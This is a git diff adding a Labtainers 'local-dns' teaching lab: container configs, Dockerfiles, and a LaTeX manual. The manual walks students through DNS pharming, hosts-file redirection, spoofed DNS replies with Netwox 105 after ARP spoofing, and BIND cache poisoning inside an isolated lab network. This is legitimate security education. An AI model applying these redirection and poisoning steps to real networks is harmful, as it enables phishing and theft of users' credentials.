a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/about.txt new file mode 100644 index 000000000..787d8fbbe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/about.txt @@ -0,0 +1 @@ +DNS Pharming attacks on a local DNS server diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/start.config new file mode 100644 index 000000000..cbafe0158 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/config/start.config @@ -0,0 +1,164 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER user + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED user_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK SOME_NETWORK + MASK 192.168.0.0/24 + GATEWAY 192.168.0.101 + +NETWORK WAN + MASK 10.10.0.0/24 + GATEWAY 10.10.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER user + # user name of user who interacts with the container. + USER ubuntu + SOME_NETWORK 192.168.0.100 + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER apollo-dns + # user name of user who interacts with the container. + USER ubuntu + TERMINAL_GROUP gateway + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals apollo-dnss to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + SOME_NETWORK 192.168.0.10 + # + # Script name passed to the Docker start command. This apollo-dnss to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER attacker + # user name of user who interacts with the container. + USER ubuntu + SOME_NETWORK 192.168.0.200 + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals attackers to 1 + # + TERMINALS 3 + TERMINAL_GROUP attacker + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This attackers to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER gateway + # user name of user who interacts with the container. + USER ubuntu + SOME_NETWORK 192.168.0.1 + WAN 10.10.0.1 + TERMINAL_GROUP gateway + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals gateways to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This gateways to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.apollo-dns.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.apollo-dns.student new file mode 100644 index 000000000..9173bde91 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.apollo-dns.student @@ -0,0 +1,67 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends bind9 dnsutils +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +RUN adduser $user_name wireshark + +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** + +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.attacker.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.attacker.student new file mode 100644 index 000000000..1b2c7b7bd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.attacker.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends netwox +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +RUN adduser $user_name wireshark +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.gateway.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.gateway.student new file mode 100644 index 000000000..5916486e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.gateway.student @@ -0,0 +1,61 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.user.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.user.student new file mode 100644 index 000000000..bc1bf2935 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/dockerfiles/Dockerfile.local-dns.user.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends nscd +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/DNS_Local.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/DNS_Local.tex new file mode 100644 index 000000000..e94bfc656 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/DNS_Local.tex @@ -0,0 +1,504 @@ +\input{header} + +%\documentclass{article} +%\usepackage{graphicx} +%\usepackage{color} +%\usepackage[latin1]{inputenc} +%\usepackage{lgrind} +%\input {highlight.sty} + +\lhead{\bfseries SEED Labs -- Local DNS Attack Lab} + + +\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}} + +\begin{document} + +\begin{center} +{\LARGE Local DNS Attack Lab} +\end{center} + +\copyrightnoticeA + +\section{Lab Overview} + +DNS\cite{bib1} (Domain Name System) is the Internet's phone book; it +translates hostnames to IP addresses (or IP addresses to hostnames). +This translation is through DNS resolution, which happens behind +the scene. DNS Pharming\cite{bib4} attacks manipulate this resolution process +in various ways, with an intent to misdirect users to +alternative destinations, which are often malicious. +The objective of this lab is to understand how such attacks work. +Students will first set up and configure a DNS server\cite{bib2}, and then they +will try various DNS Pharming attacks on the target that is also within +the lab environment. + + +The difficulties of +attacking local victims versus remote DNS servers are +quite different. Therefore, we have developed two labs, one focusing +on local DNS attacks, and the other on remote DNS attack. This lab focuses +on local attacks. + + + + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer local-dns +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + +\section{Network Configuration} +The network configuration is illustrated in +Figure~\ref{fig:dns:environment}. + +\begin{figure}[!htb] +\centering +\includegraphics*[ width=0.9\textwidth,natwidth=621,natheight=403]{Figs/topology.jpg} +\caption{The Lab Environment Setup} +\label{fig:dns:environment} +\end{figure} + + +As you can see from Figure~\ref{fig:dns:environment}, +we set up the DNS server, the user machine and the attacker machine in the same LAN. +We assume that the user machine's IP address is {\tt 192.168.0.100}, the DNS +Server's IP is {\tt 192.168.0.10} and the attacker machine's IP is {\tt 192.168.0.200}. +Each of these systems reach the Internet via a gatway with IP of {\tt 192.168.0.1} + +\paragraph {Note for Instructors:} +For this lab, a lab session is desirable, especially if students are +not familiar with the tools and the environments. If an instructor +plans to hold a lab session (by himself/herself or by a TA), it +is suggested the following to be covered in the +lab session~\footnote{We assume that the instructor has already covered +the concepts of the attacks in the lecture, so we do not include +them in the lab session.}: +\begin{enumerate} + \item The use of the Labtainers. + + \item The use of {\tt Wireshark}, {\tt arpspoof}, and {\tt Netwox} tools. + + \item Configuring the DNS server. +\end{enumerate} + +\subsection{Review the DNS server Configuration} + +The {tt BIND 9} server program is installed on the Apollo DNS server\cite{bib3}. +The DNS server reads a configuration file named +{\tt /etc/bind/named.conf} when it starts. This configuration file includes an option +file, which is called {\tt /etc/bind/named.conf.options}. Please +review that file and note this entry: +\begin{verbatim} +options { + dump-file "/var/cache/bind/dump.db"; +}; +\end{verbatim} + +\noindent which instructs the DNS server to dump its cache into +a file named: \texttt{/var/cache/bind/dump.db} +whenever you run the command: +\begin{verbatim} +% sudo rndc dumpdb -cache // Dump the cache to dump.db +\end{verbatim} +\noindent You may delete the cache using: +\begin{verbatim} +% sudo rndc flush // Flush the DNS cache +\end{verbatim} + + +If a change is made to a configuration file, the DNS server must be +restarted: +\begin{verbatim} +% sudo /etc/init.d/bind9 restart +\end{verbatim} + + +\paragraph{Create zones.} +Assume that we own a domain: {\tt example.com}, which means that we are +responsible for providing the +definitive answer regarding {\tt example.com}. We direct our DNS server +to provide naming for the example.com domain by defing a \textit{zone} +in a file named {\tt example.conf} in /etc/bind, and then importing +that file into the {\tt named.conf} confguration via an entry in +the {\tt /etc/bind/named.conf.local} file. +It should be noted that the {\tt example.com} +domain name is reserved for use in documentation, and is not owned +by anybody, so it is safe to use it. +Our zone definition from the example.conf file is below: +\begin{verbatim} +zone "example.com" { + type master; + file "/var/cache/bind/example.com.db"; + }; + +zone "0.168.192.in-addr.arpa" { + type master; + file "/var/cache/bind/192.168.0"; + }; +\end{verbatim} + +Notice how the zone definition refers to the {\tt example.com.db} file, +which defines the DNS resolution for exmple.com and is is referred +to as a \textit{zone file}. This file is found in \texttt{/var/cache/bind} directory. +Please refer to RFC 1035 for details of zone file definitions. Our example.com.db +definition is repeated below: +\begin{verbatim} +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 ;serial, today's date + today's serial number + 8H ;refresh, seconds + 2H ;retry, seconds + 4W ;expire, seconds + 1D) ;minimum, seconds + +@ IN NS ns.example.com. ;Address of name server +@ IN MX 10 mail.example.com. ;Primary Mail Exchanger + +www IN A 192.168.0.101 ;Address of www.example.com +mail IN A 192.168.0.102 ;Address of mail.example.com +ns IN A 192.168.0.10 ;Address of ns.example.com +*.example.com. IN A 192.168.0.100 ;Address for other URL in + ;example.com. domain +\end{verbatim} + +The symbol `@' is a special notation meaning the origin from the {\tt named.conf}. +Therefore, `@' here stands for {\tt example.com}. `IN' means Internet. +`SOA' is short for Start Of Authority. +This zone file contains 7 resource records (RRs): a SOA (Start Of Authority) RR, +a NS (Name Server) RR, a MX (Mail eXchanger) RR, and 4 A (host Address) RRs. + +We also need to setup the DNS reverse lookup file. +The directory \texttt{/var/cache/bind/}, includes a reverse DNS lookup file +called \texttt{192.168.0} for the \texttt{example.com} domain: +\begin{verbatim} +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) +@ IN NS ns.example.com. + +101 IN PTR www.example.com. +102 IN PTR mail.example.com. +10 IN PTR ns.example.com. +\end{verbatim} + + +\subsection{Revview the User Machine Configuration} +\label{subsec:user_machine} + +On the user machine {\tt 192.168.0.100}, we need to let the machine +192.168.0.10 be the default DNS server. We achieved this by setting +the DNS setting file \texttt{/etc/resolv.conf} of the user machine: + +\begin{verbatim} + nameserver 192.168.0.10 # the ip of the DNS server +\end{verbatim} + + +\subsection{Review the Attacker Machine Configuration} + +The attacher machine includes Wireshark, Netwox and arpspoof untilities. + +\subsection{Expected Output} + +After you have reviewed the lab environment, +test the configuration by issuing the following +command on the user machine: +\begin{verbatim} +% dig www.example.com +\end{verbatim} + +You should be able to see something like this: + +\begin{verbatim} +<<>> DiG 9.5.0b2 <<>> www.example.com +;; global options: printcmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27136 +;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 + +;; QUESTION SECTION: +;www.example.com. IN A + +;; ANSWER SECTION: +www.example.com. 259200 IN A 192.168.0.101 + +;; AUTHORITY SECTION: +example.com. 259200 IN NS ns.example.com. + +;; ADDITIONAL SECTION: +ns.example.com. 259200 IN A 192.168.0.10 + +;; Query time: 80 msec +;; SERVER: 192.168.0.10#53(192.168.0.10) +;; WHEN: Tue Nov 11 15:26:32 2008 +;; MSG SIZE rcvd: 82 +\end{verbatim} + +Note: the {\tt ANSWER SECTION} contains the DNS mapping. Notice that +the IP address of {\tt www.example.com} is now {\tt 192.169.0.101}, which +is what we have set up in the DNS server. +For a simple and clear answer, +we can use {\tt nslookup} instead. +To do a DNS reverse lookup, issue {\tt dig -x N.N.N.N}. + + +\section{Lab Tasks} + + +The main objective of Pharming attacks on a user is to redirect the user +to another machine $B$ when the user tries to get to machine $A$ using +$A$'s host name. For example, when the user tries to access the online banking, +such as {\tt www.chase.com}, if the adversaries can redirect the user +to a malicious web site that looks very much like the main web site +of {\tt www.chase.com}, the user might be fooled and give away password +of his/her online banking account. + +When a user types in {\tt www.chase.com} in his browsers, the user's machine will issue +a DNS query to find out the IP address of this web site. The attacker's goal +is to fool the user's machine with a faked DNS reply, which resolves +{\tt www.chase.com} to a malicious IP address. There are several ways +to achieve such an attack. In the first task, we will +use {\tt www.example.com} as the web site that the user wants to access, +instead of using the real web site name {\tt www.chase.com}; +the {\tt example.com} domain name is reserved for use in +documentation, and is not owned by anybody. + + +\subsection{Task 1: Attackers have already compromised the victim's machine} + +\paragraph{Modifying HOSTS file.} +The host name and IP address pairs in the HOSTS file (\texttt{/etc/hosts}) +are used for local lookup; they take the preference over +remote DNS lookups. For example, if there is a following +entry in the HOSTS file in the user's computer, +the \texttt{www.example.com} will be resolved as \texttt{1.2.3.4} in +user's computer without asking any DNS server: +\begin{verbatim} +1.2.3.4 www.example.com +\end{verbatim} + +\paragraph{Attacks.} +If attackers have compromised a user's machine, they can +modify the HOSTS file to redirect the user to a malicious site +whenever the user tries to access {\tt www.example.com}. Assume that you have +already compromised a machine, please try this technique to redirect +{\tt www.example.com} to any IP address that you choose. + +Note: \texttt{/etc/hosts} is ignored by the {\tt nslookup} command, +but will take effect on ping command and web browser etc. + +After modifing the /etc/hosts file to test this simple attack, restore it +to its original content, e.g., remove any "example.com" entries. + +\subsection{Task 2: Directly Spoof Response to User} + +In this attack, the victim's machine has not been compromised, so attackers cannot +directly change the DNS query process on the victim's machine. However, +if attackers are on the same local area network as the victim, they +can still achieve a great damage. Showed as Figure~\ref{fig:flow1}. + +When a user types the name of a web site (a host name, such as {\tt www.example.com}) +in a web browser, the user's computer will issue a DNS request to the DNS +server to resolve the IP address of the host name. After hearing this DNS +request, the attackers can spoof a fake DNS response\cite{bib6}. The fake DNS response +will be accepted by the user's computer if it meets +the following criteria: + +\begin{enumerate} + +\item The source IP address must match the IP address of the DNS server. + +\item The destination IP address must match the IP address of the user's machine. + +\item The source port number (UDP port) must match the port number that the DNS +request was sent to (usually port 53). + +\item The destination port number must match the port number that the DNS +request was sent from. + +\item The UDP checksum must be correctly calculated. + +\item The transaction ID must match the transaction ID in the DNS request. + +\item The domain name in the question section of the reply must match the +domain name in the question section of the request. + +\item The domain name in the answer section must match the domain name in the +question section of the DNS request. + +\item The User's computer must receive the attacker's DNS reply before it +receives the legitimate DNS response. +\end{enumerate} + + +To satisfy the criteria 1 to 8, the attackers can sniff the DNS request message +sent by the victim. An ARP spoofing attack, such as conducted in the arp-spoof +lab, can be used by the attacker to sniff traffic between the user and the +DNS server. Once the attackers can sniff that local traffic, +they can then create a fake DNS response, and send back to the victim, +before the real DNS server does. {\tt Netwox} tool 105 provide a utility to conduct +such sniffing and responding. + +Tip: in the {\tt Netwox/Netwag} tool 105, you can use the ``filter'' field to indicate +the IP address of your target. For example, +in the scenario showing below, you can use {\tt "src host 192.168.0.100"}. +\begin{figure}[!htb] +\centering +\includegraphics*[ width=0.9\textwidth,natwidth=621,natheight=403]{Figs/flow1.jpg} +\caption{Directly Spoof response to user flow} +\label{fig:flow1} +\end{figure} + +Attempt this attack and use Wireshark on the attacker to observe the traffic. Note +that the legitemate DNS reply may arrive at the user's computer prior to the bogus +one generated by Netwox. This will cause your attack to fail. Think about stratgies +an attacker may employ to slow down responses from the DNS server. + +To complete this task, you are not required to succeed in the attack, but you are +required to save a PCAP file on your attacker home directory named "spoof.pcapng". +This PCAP file should include your spoofed DNS response. + +\subsection{Task 3: DNS Server Cache Poisoning} + +The above attack targets the user's machine. In order to achieve long-lasting +effect, every time the user's machine sends out a DNS query for {\tt www.example.com}, +the attacker's machine must send out a spoofed DNS response. +This might not be so efficient; there is a much better way to conduct attacks +by targeting the DNS server, instead of the user's machine. + + +When a DNS server $Apollo$ receives a query, if the host name is not within the +$Apollo$'s domain, +it will ask other DNS servers to get the host name resolved. Note that in +our lab setup, the domain of our DNS server is {\tt example.com}; therefore, +for the DNS queries of other domains (e.g. {\tt www.google.com}), the DNS server +$Apollo$ will ask other DNS servers. +However, before $Apollo$ asks other DNS servers, it first looks +for the answer from its own cache; if the answer is there, +the DNS server $Apollo$ will simply reply with the information from its cache. +If the answer is not in the cache, the DNS server will +try to get the answer from other DNS servers. When $Apollo$ gets the +answer, it will store the answer in the cache, so next time, +there is no need to ask other DNS servers. + +Therefore, if attackers can spoof the response from other DNS +servers, $Apollo$ will keep the spoofed response in its cache\cite{bib5} for +certain period of time. Next time, when a user's machine wants to resolve the +same host name, $Apollo$ will use the spoofed response in the cache +to reply. This way, attackers only need to spoof once, and +the impact will last until the cached information expires. +This attack is called {\em DNS +cache poisoning}. The following diagram (Figure~\ref{fig:flow2}) illustrates this attack. +\begin{figure}[!htb] +\centering +\includegraphics*[ width=0.9\textwidth,natwidth=621,natheight=403]{Figs/flow2.jpg} +\caption{DNS cache posioning flow} +\label{fig:flow2} +\end{figure} + + +We can use the same tool (Netwox 105) for this attack. +You will also use an ARP spoofing attack, but this time +you want to sniff traffic between the Apollo DNS server and the +external DNS, which is reached via the gateway. So set up your +ARP spoofing to sniff traffic between that gateway and the +Apollo DNS server. +Before attacking, +make sure that the DNS Server's cache is empty. +You can flush the cache using the following command: +\begin{verbatim} +# sudo rndc flush +\end{verbatim} + +The difference between this attack and the previous attack is that +we are spoofing the response to +DNS server now, so we set the {\tt filter} field to `src host 192.168.0.10', +which is the IP address of the DNS server. +We also use the {\tt ttl} field (time-to-live) +to indicate how long we want the fake answer to +stay in the DNS server's cache. After the DNS server is poisoned, we can stop +the {\tt Netwox 105}. If we set {\tt ttl} to 600 (seconds), then DNS server will keep +giving out the fake answer for the next 10 minutes. + +You can tell whether the DNS server is poisoned or not by using the network +traffic captured by {\tt Wireshark} or by +dumping the DNS server's cache. To dump and view the DNS server's cache, issue +the following command: +\begin{verbatim} +# sudo rndc dumpdb -cache +# sudo cat /var/cache/bind/dump.db +\end{verbatim} + + +\section{What's Next} + + +In the DNS cache poisoning attack of this lab, +we assume that the attacker and the DNS server are on +the same LAN, i.e., the attacker can observe the DNS query message +via ARP spoofing. +When the attacker and the DNS server are not on the same LAN, +the cache poisoning attack becomes much more challenging. If you +are interested in taking on such a challenge, you can +try our ``Remote DNS Attack Lab''. + + +\section{Submission} + +Students need to submit a detailed lab report to describe what they have done and +what they have observed. Report should include evidence to support +the observations. Evidence include packet traces, screendumps, etc. +If you edited your lab report on a separate system, copy it back to the Linux system at the location +identified when you started the lab, and do this before running the stoplab command. +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab local-dns +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + + +\begin{thebibliography}{10} + +\bibitem{bib1} +RFC 1035 Domain Names - Implementation and Specification : +\newblock http://www.rfc-base.org/rfc-1035.html + +\bibitem{bib2} +DNS HOWTO : +\newblock http://www.tldp.org/HOWTO/DNS-HOWTO.html + +\bibitem{bib3} +BIND 9 Administrator ReferenceManual : +\newblock http://www.bind9.net/manual/bind/9.3.2/Bv9ARM.ch01.html + +\bibitem{bib4} +Pharming Guide : +\newblock http://www.technicalinfo.net/papers/Pharming.html +%\newblock http://www.ngssoftware.com/papers/ThePharmingGuide.pdf + +\bibitem{bib5} +DNS Cache Poisoning: +\newblock http://www.secureworks.com/resources/articles/other\_articles/dns-cache-poisoning/ + +\bibitem{bib6} +DNS Client Spoof: +\newblock http://evan.stasis.org/odds/dns-client\_spoofing.txt + + +\end{thebibliography} +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Local_flow1.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Local_flow1.pdf new file mode 100644 index 000000000..5c8c98ed8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Local_flow1.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Local_flow2.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Local_flow2.pdf new file mode 100644 index 000000000..e555d9492 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/docs/Figs/DNS_Local_flow2.pdf differ diff --git 